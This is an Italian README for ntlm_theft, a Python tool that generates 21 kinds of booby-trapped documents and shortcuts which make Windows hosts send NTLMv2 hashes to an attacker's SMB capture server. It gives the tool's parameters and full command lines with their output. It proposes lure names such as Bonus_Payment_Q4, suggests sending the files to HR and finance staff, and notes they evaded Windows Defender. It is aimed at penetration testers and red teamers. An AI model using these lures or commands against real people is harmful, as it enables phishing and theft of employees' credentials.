
Uno strumento per generare molteplici tipi di file di furto di hash NTLMv2 di Jacob Wilkin (Greenwolf)
Uno strumento per generare diversi tipi di file per il furto di hash NTLMv2.
ntlm_theft è uno strumento Open Source in Python3 che genera 21 diversi tipi di documenti per il furto di hash. Questi possono essere utilizzati per phishing quando il target consente traffico SMB al di fuori della propria rete, o se ci si trova già all'interno della rete interna.
I vantaggi di questi tipi di file rispetto a documenti basati su macro o exploit sono che tutti sono costruiti utilizzando "funzionalità previste". Nessuno è stato segnalato da Windows Defender Antivirus a giugno 2020, e 17 dei 21 attacchi hanno funzionato su un host Windows 10 completamente aggiornato.
ntlm_theft supporta i seguenti tipi di attacco:
ntlm_theft è principalmente rivolto a Penetration Tester e Red Teamer, che lo useranno per effettuare phishing interno sui dipendenti dell'azienda target, o per testare in massa antivirus e gateway email. Può anche essere utilizzato per phishing esterno se l'accesso SMB in uscita è consentito sul firewall perimetrale.
L'ho trovato utile durante i penetration test per vedere facilmente quali tipi di file ho a disposizione, invece di dedicare tempo a configurare un attacco specifico come si farebbe in impegni di red team. Potresti inviare un file .rtf o .docx al dipartimento HR, e un foglio di calcolo .xlsx al dipartimento finanziario.
Queste istruzioni ti mostreranno i requisiti e come utilizzare ntlm_theft.
ntlm_theft richiede Python3 e xlsxwriter:
pip3 install xlsxwriter
Per avviare lo strumento devono essere forniti 4 parametri: un formato di input, il file o la cartella di input e la modalità di esecuzione di base:
-g, --generate : Scegli se generare tutti i file o un tipo di file specifico
-s, --server : L'indirizzo IP del tuo server di acquisizione hash SMB (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, ecc.)
-f, --filename : Il nome del file base senza estensione, può essere rinominato successivamente (es: test, Board-Meeting2020, Bonus_Payment_Q4)
Ecco un esempio di ciò che appare quando si esegue la generazione di tutti i file:
# python3 ntlm_theft.py -g all -s 127.0.0.1 -f test
Created: test/test.scf (BROWSE)
Created: test/test-(url).url (BROWSE)
Created: test/test-(icon).url (BROWSE)
Created: test/test.rtf (OPEN)
Created: test/test-(stylesheet).xml (OPEN)
Created: test/test-(fulldocx).xml (OPEN)
Created: test/test.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Created: test/test.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: test/test.asx (OPEN)
Created: test/test.jnlp (OPEN)
Created: test/test.application (DOWNLOAD AND OPEN)
Created: test/test.pdf (OPEN AND ALLOW)
Created: test/zoom-attack-instructions.txt (PASTE TO CHAT)
Generation Complete.

Ecco un esempio di ciò che appare quando si esegue la generazione solo dei file moderni:
# python3 ntlm_theft.py -g modern -s 127.0.0.1 -f meeting
Skipping SCF as it does not work on modern Windows
Created: meeting/meeting-(url).url (BROWSE TO FOLDER)
Created: meeting/meeting-(icon).url (BROWSE TO FOLDER)
Created: meeting/meeting.rtf (OPEN)
Created: meeting/meeting-(stylesheet).xml (OPEN)
Created: meeting/meeting-(fulldocx).xml (OPEN)
Created: meeting/meeting.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: meeting/meeting-(includepicture).docx (OPEN)
Created: meeting/meeting-(remotetemplate).docx (OPEN)
Created: meeting/meeting-(frameset).docx (OPEN)
Created: meeting/meeting-(externalcell).xlsx (OPEN)
Created: meeting/meeting.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: meeting/meeting.asx (OPEN)
Created: meeting/meeting.jnlp (OPEN)
Created: meeting/meeting.application (DOWNLOAD AND OPEN)
Created: meeting/meeting.pdf (OPEN AND ALLOW)
Skipping zoom as it does not work on the latest versions
Skipping Autorun.inf as it does not work on modern Windows
Skipping desktop.ini as it does not work on modern Windows
Generation Complete.
Ecco un esempio di ciò che appare quando si esegue la generazione solo di un file xlsx:
# python3 ntlm_theft.py -g xlsx -s 192.168.1.103 -f Bonus_Payment_Q4
Created: Bonus_Payment_Q4/Bonus_Payment_Q4-(externalcell).xlsx (OPEN)
Generation Complete.
ntlm_theft Creato da Jacob Wilkin Copyright (C) 2020 Jacob Wilkin
Questo programma è software libero: puoi ridistribuirlo e/o modificarlo sotto i termini della GNU General Public License come pubblicata dalla Free Software Foundation, sia la versione 3 della Licenza, o (a tua scelta) qualsiasi versione successiva.
Questo programma è distribuito nella speranza che sia utile, ma SENZA ALCUNA GARANZIA; senza nemmeno la garanzia implicita di COMMERCIABILITÀ o IDONEITÀ PER UN PARTICOLARE SCOPO. Vedi la GNU General Public License per maggiori dettagli.